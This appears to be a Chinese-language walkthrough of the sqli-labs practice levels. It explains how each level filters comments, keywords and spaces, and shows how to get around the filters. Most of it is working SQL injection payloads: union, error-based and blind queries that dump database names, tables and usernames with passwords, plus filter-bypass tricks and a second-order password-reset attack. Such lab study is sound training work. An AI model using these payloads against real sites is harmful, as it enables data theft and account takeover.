显然根据提示会过滤注释符,先把之前语句试一下
id=1 正常
id=1' version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
id=1" 正常
试着闭合一下
id=1' or 1=1-- # 报错
id=1' or 1=1--+ 报错
id=1' or 1=1# 报错
id=1' or 1=1%23
显然注释符闭合不了
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
那么我们试着闭合一下
SELECT * FROM users WHERE id='1' order by 4 and '1'='1' LIMIT 0,1
1' order by 4 and '1'='1
或者
SELECT * FROM users WHERE id='1' order by '4' LIMIT 0,1
1' order by '4
请注意,这里的字段数为4是不正确的,因为我们知道,数据库里面的字段数是3.
那么这里并没有报错是因为什么原因呢
where 与 order by 都是子句,and是操作符,用于where子句中
在mysql执行的顺序中,where是远在order by 之前的
order by 在where 的条件中,在where执行时被忽略了,结果集生成后并未在执行order by
从上面的操作中,我们推断出第一个操作中没有报错,说明order by语句没有执行是因为order by后面的字段(名,序号,别名)是不能加引号的,虽然不会报错,但数据库会不执行该语句。
这关不能使用order by来判断字段数,可以直接使用union进行联合查询
SELECT * FROM users WHERE id='1' union select 1,2,3,4 or '1'='1' LIMIT 0,1
1' union select 1,2,3,4 or '1'='1
或者
SELECT * FROM users WHERE id='1' union select 1,2,3,4 and '1'='1' LIMIT 0,1
1' union select 1,2,3,4 and '1'='1
特别注意:这里的or和and作为了联合查询第二select个语句的条件而不是第一个select语句where的条件。
当 id=‘1’ union select 1,2,3,4 or ‘1’=‘1’ LIMIT 0,1 就变成 id=‘1’ union select 1,2,3,4 or true LIMIT 0,1
1.当select 1,2,3,4为真时,原句等于: id='1' union select 1,2,3,4 LIMIT 0,1 返回我们要查询的结果
2.当select 1,2,3,4为假时,原句等于: id='1' union select true LIMIT 0,1 也就是 id='1' union select 1 LIMIT 0,1 这个语句必定报错因为第一个select语句中的users表里有3个字段,与union联合查询的第二个select查询的字段数量不一致。
当 id='1’union select 1,2,3,4 and ‘1’=‘1’ LIMIT 0,1 就变成 id=‘1’ union select 1,2,3,4 and true LIMIT 0,1 即 id=‘1’ union select 1,2,3,4 LIMIT 0,1
如果select 1,2,3,4为真,原句:id='1' union select 1,2,3,4 LIMIT 0,1 返回我们的结果
如果select 1,2,3,4为假,原句:id='1' union select 1,2,3,4 LIMIT 0,1 会直接报错,因为两个查询语句的字段数量不一致。
接着查询返回信息
-1' union select 1,2,3 or '1'='1
这里的passwd的1 并不是select 1,2,3中的1,原因是这里的or’1’='1’是作为字段三的逻辑运算符,因为永真条件,在字段三种会回显1,所以字段三是不可以利用的
爆库:
-1' union select 1,database(),3 or '1'='1
爆表:
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
或者
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and '1'='1
字段:
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 or '1'='1
数据:
-1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),3 and '1'='1
但是这里注意在爆数据的时候,不能在使用and的时候直接查询,必须要用双子注入查询,否则会报错
select 1,group_concat(username),3 from users and '1'='1 from和and是不能连在一起用的)
但是也可以这样
-1' union select 1,group_concat(username),3 from users where 1 and '1'='1
盲注
这里盲注就得使用and,而不能使用or
1' and left(version(),1)=5 and '1'='1
1' and left(version(),1)=6 and '1'='1
and和or同时使用and的优先级高于or,哪怕不考虑优先级也不能使用or,因为 '1'='1'是永真条件,不管前面查询的条件时真假,到最后都会变成 真条件
extractvalue
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '1'='1
1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) or '1'='1
使用逻辑运算符or,按照正常推断该语句是不会报错的应该会正常回显,但结果报错了,说明是extractvalue搞的鬼,至于原理还不是很清楚,所以为了验证特意找了Less-12,看使用and和or是否有区别:
进阶闭合
select 1 等同于 select ‘1’
数据库:
-1' union select 1,database(),'3
-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3
爆表
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
字段:
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'3
数据:
-1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),'3
先随便点点
登录页面
创建用户
不让改密码,让黑了它
先注册一个用户:username:1 passwd:1
简单分析一下源码可以发现在修改用户名这里,从session中直接获得了用户名,并且直接用于更新语句并未做检查,从根本上来说,插入数据时没有做过滤,只是做了转义处理
也就是说当前用户中如果含有注释,便可以更改当前用户名中包含的另一用户的密码,例如注册用户:Dumb’-- +那么他就可以更改Dumb的密码
UPDATE users SET PASSWORD='$pass' WHERE username='1'-- # and password='$curr_pass'
这里我们注册用户名为1’-- #去更改我们已知的1用户的密码
这里username:1’-- # passwd:2
登录进去开始重置1用户的密码
我们将1 用户的密码改为3
接着回到登录界面使用username:1 passwd:成功登录进去
返回的页面信息,其中有用户登录的信息,最下面有个提示,你的输入会进行过滤
先进行闭合测试
1 正常显示
1' version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
1" 正常显示
可以发现是单引号闭合
1'-- # 接着注释尝试发现可以正常使用注释
当输入and 或者 or 时发现有过滤
1'and 1=1-- #
1'or 1=1-- #
查看源码发现过滤信息
这里可以发现对大小写不敏感 也就是大小写都进行匹配,但是这里只进行了一次过滤,也就是可以双写绕过,因为这里是过滤为空
基本绕过思路
一次性的过滤为空:
可以双写绕过
非一次行的:
大小写变形绕过 or=Or=oR=OR
利用运算符 or=|| and=&&
url编码绕过 #=%23,hex编码 ~=0x7e
添加注释 /*or*/
在开始注入之前要说一下,在url中空格和一些特殊字符会进行url编码:#是%23 空格时%20
双写绕过
1'oorr 1=1-- # 回显正常
爆列数
1' oorrder by 4-- # Unknown column '4' in 'order clause'
1' oorrder by 3-- # 回显正常
查看回显字段位置
-1' union select 1,2,3-- # 回显2,3
爆数据库:
-1' union select 1,database(),3-- #
爆表:
-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3-- #
爆字段:
-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'),3-- #
爆数据:
-1' union select 1,(select group_concat(concat_ws('-',id,username,passwoorrd)) from users),3-- #
运算符绕过
-1' || extractvalue(1,concat(0x7e,database()))-- #
1' || extractvalue(1,concat(0x7e,database()))-- #
测试闭合方式
1 回显正常
1' mysql_fetch_array() expects parameter 1 to be resource
1" mysql_fetch_array() expects parameter 1 to be resource,
这里就可以说明是数字性注入
本关与Less-25十分相似,既可以正常union注入也可以用脚本Bool或Time盲注。但却不能报错注入
-1 || extractvalue(1,concat(0x7e,database()))-- #
原因是这里关闭了错误报告
如果在一个php文件最前面写入函数error_reporting(0)那么,这一个页面将不会返回任何warning(警告)信息,不影响其他php文件
这里可以发现过滤了许多字符
不仅过滤了上一关的or与and,还过滤了单行注释–与#(包含url编码)以及多行注释/**/(被解释为空格,通常用于过滤空格时),还过滤了空格,以及正反斜杠/与.
对于注释和结尾字符我们此处只能利用构造一个’来闭合后面的’;对于空格,有较多的办法:
空格的url编码替代方法
%09 TAB水平
%0a 新建一行
%0c 新建一页
%0d return功能
%0b TAB(垂直)
%a0 空格
暴库:(注:url编码%26是运算符&,下面的%26%26换成运算符||也是可以的,但不能直接用&&,会报错,原理还不清楚,但使用&的url编码%26就不会报错)
但是这里经过尝试一个都不行
报错注入试一下
爆数据库:
'||updatexml(1,concat('$',(database())),0)||'1'='1
爆表:
'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1
爆字段:
'||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)||'1'='1
爆数据:
'||updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)limit%0b0,1)),0)||'1'='1
布尔盲注
1'%26%26(ascii(mid((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),1,1))>65)||'1'='
在没有过滤时第一件事是判断注入类型,是字符型还是数字型
而在有过滤时,判断注入类型后最重要的是判断过滤条件
在less-25与less-26中,即有正确回显,也有错误回显.找到注入类型后再构造的错误回显前加上字符便可依次看出过滤了哪些字符
在less-25a与less-26a中,错误回显被关闭,找出被过滤的字符很重要,不过大体与有错误回显时相同(毕竟有正确回显)
我们知道有一个函数是intval(),作用是获取变量的整数值,但是无错误回显时,我们如何区分是被过滤还是被转化为整形呢
intval('#1') = 0
intval('1') = 1
只需要在1前面加上#,若被过滤则会正常显示,被转为整形则会显示为0
注入类型
id=1 正常
id=1' 错误
id=1" 正常
说明这里是单引号闭合,但是还是要判断是否有小括号
判断小括号的方法
2' && '1'='1 这里浏览器不能使用&要进行url编码即2'%26%26'1'='1
1')||'1'=('1 若查询语句有小括号正确回显,若无小括号错误回显
判断字符类型:(带小括号的单引号字符型注入)
?id=1' 报错,可初步得出是单引号字符型注入
?id=1'||' 和?id=1'||1' 会让我们误判为就是单引号字符型注入,因为带入源码中id=('1'||'')和id=('1'||'1')返回的结果都会是id=1 所以可以使用下面的语句来快速判断是否带有一个小括号,或者用前面讲的判断是否有小括号的方法也是一样的。
?id=1')||(' (因为我们过滤了注释,使用这种可以很快的判断出是否是带一个括号的注入点)
id=1' version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
单引号闭合
id=2'%26%26 '1'='1 id=2的用户说明不带括号,id=1的用户说明带括号
到这里我们可以得知,这是单引号字符型注入
这里查看源码可以发现过滤的字符
发现没有过滤or与and,过滤了几个大小写的union和select但是这里可以使用随机大小写来绕过,过滤了-- #/**/过滤了两次空格,过滤了/但是没过滤\
所以实际上仅仅是过滤了注释和空格,与less-26相似
这里附上php正则匹配的模式修饰符
i
如果设定此修正符,模式中的字符将同时匹配大小写字母。
m
当设定了此修正符,“行起始”和“行结束”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。
s
如果设定了此修正符,模式中的圆点元字符(.)匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。
x
如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的 #以及下一个换行符之间的所有字符,包括两头,也都被忽略。
e
如果设定了此修正符,preg_replace() 在替换字符串中对逆向引用作正常的替换,
?在 . + 和 * 之后 表示非贪婪匹配: *、+和?限定符都是贪婪的,因为它们会尽可能多的匹配文字,只有在它们的后面加上一个?就可以实现非贪婪或最小匹配。
这关可以直接随机大小写seleCt轻松绕过正则匹配,并且这里可以使用%0a代替空格,但是这里多了一种用/%0a/强行制造空格.
爆库:
0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,database(),2/*%0a*/||/*%0a*/'1'='1
爆表:
0'%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'),3||'1
爆字段:
0'%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b'1'='1
爆数据:
0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,(SeLeCt/*%0a*/group_concat(concat_ws('$',id,username,password))/*%0a*/from/*%0a*/users),3/*%0a*/||/*%0a*/'1'='1
贴上源代码
爆数据库:
0"%0buniOn%0bsElEct%0b1,database(),3%0bor%0b"1"="1
单引号报错
判断有没有小括号
2'%26%26'1'='1
正常回显用户1说明有小括号
爆库:
?id=0')%0buniOn%0bsElEct%0b1,database(),3%0bor%0b('1')=('1
爆表:
?id=0')%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b('1')=('1
暴字段:
?id=0')%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b('1')=('1
爆数据:
?id=0')%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0bwhere%0b('1')=('1
基本和上一关一致